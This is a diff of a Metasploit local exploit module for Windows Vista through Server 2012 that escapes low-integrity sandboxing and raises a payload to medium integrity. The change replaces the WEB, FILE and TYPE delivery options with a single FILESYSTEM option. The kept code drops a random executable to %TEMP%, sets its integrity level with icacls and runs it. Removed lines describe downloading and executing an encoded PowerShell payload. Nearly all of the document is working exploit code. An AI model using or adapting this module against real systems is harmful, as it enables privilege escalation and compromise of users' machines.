1212class Metasploit3 < Msf ::Exploit ::Local
1313 Rank = ExcellentRanking
1414
15- include Msf ::Exploit ::Powershell
1615 include Msf ::Exploit ::EXE
1716 include Msf ::Exploit ::Remote ::HttpServer
18- include Msf ::Exploit ::FileDropper
1917 include Msf ::Post ::File
18+ include Msf ::Exploit ::FileDropper
2019
2120 def initialize ( info = { } )
2221 super ( update_info ( info ,
@@ -32,11 +31,7 @@ def initialize(info={})
3231 affects versions Windows Vista, 7, 8, Server 2008, Server 2008 R2, Server 2012, RT.
3332 But Spawning a command prompt with the shortcut key does not work in Vista so you will
3433 have to check if the user is already running a command prompt and set SPAWN_PROMPT
35- false. The WEB technique will use powershell to download and execute a powershell
36- encoded payload. The FILE technique will drop an executable to the file system, set it
37- to medium integrity and execute it. The TYPE technique will attempt to execute a
38- powershell encoded payload directly from the command line but it may take some time to
39- complete.
34+ false.
4035 } ,
4136 'License' => MSF_LICENSE ,
4237 'Author' =>
@@ -66,14 +61,14 @@ def initialize(info={})
6661 register_options (
6762 [
6863 OptBool . new ( 'SPAWN_PROMPT' , [ true , 'Attempts to spawn a medium integrity command prompt' , true ] ) ,
69- OptEnum . new ( 'TECHNIQUE' , [ true , 'Delivery technique' , 'WEB' , [ 'WEB' , 'FILE' , 'TYPE' ] ] ) ,
70- OptString . new ( 'CUSTOM_COMMAND' , [ false , 'Custom command to type' ] )
71-
64+ OptBool . new ( 'FILESYSTEM' , [ true , 'Drop payload to filesystem and execute' , false ] )
7265 ] , self . class
7366 )
7467
7568 end
7669
70+ # Refactor this into Post lib with adobe_sandbox_adobecollabsync.rb
71+ # Or use GetToken railgun calls?
7772 def low_integrity_level?
7873 tmp_dir = expand_path ( "%USERPROFILE%" )
7974 cd ( tmp_dir )
@@ -120,7 +115,6 @@ def cleanup
120115 vprint_status ( "Rehiding window..." )
121116 client . railgun . user32 . ShowWindow ( @hwin , 0 )
122117 end
123- super
124118 end
125119
126120 def exploit
@@ -133,11 +127,10 @@ def exploit
133127 # hopefully will be "%TEMP%/Low" (IE Low Integrity Process case) where a low
134128 # integrity process can write.
135129 drop_to_fs = false
136- if datastore [ 'TECHNIQUE' ] == 'FILE'
130+ if datastore [ "FILESYSTEM" ]
137131 payload_file = "#{ rand_text_alpha ( 5 +rand ( 3 ) ) } .exe"
138132 begin
139133 tmp_dir = expand_path ( "%TEMP%" )
140- tmp_dir << "\\ Low" unless tmp_dir [ -3 , 3 ] =~ /Low/i
141134 cd ( tmp_dir )
142135 print_status ( "Trying to drop payload to #{ tmp_dir } ..." )
143136 if write_file ( payload_file , generate_payload_exe )
@@ -158,16 +151,10 @@ def exploit
158151 if drop_to_fs
159152 command = "cd #{ payload_path } && icacls #{ payload_file } /setintegritylevel medium && #{ payload_file } "
160153 make_it ( command )
161- elsif datastore [ 'TECHNIQUE' ] == 'TYPE'
162- if datastore [ 'CUSTOM_COMMAND' ]
163- command = datastore [ 'CUSTOM_COMMAND' ]
164- else
165- command = cmd_psh_payload ( payload . encoded )
166- end
167- make_it ( command )
168154 else
169155 super
170156 end
157+
171158 end
172159
173160 def primer
0 commit comments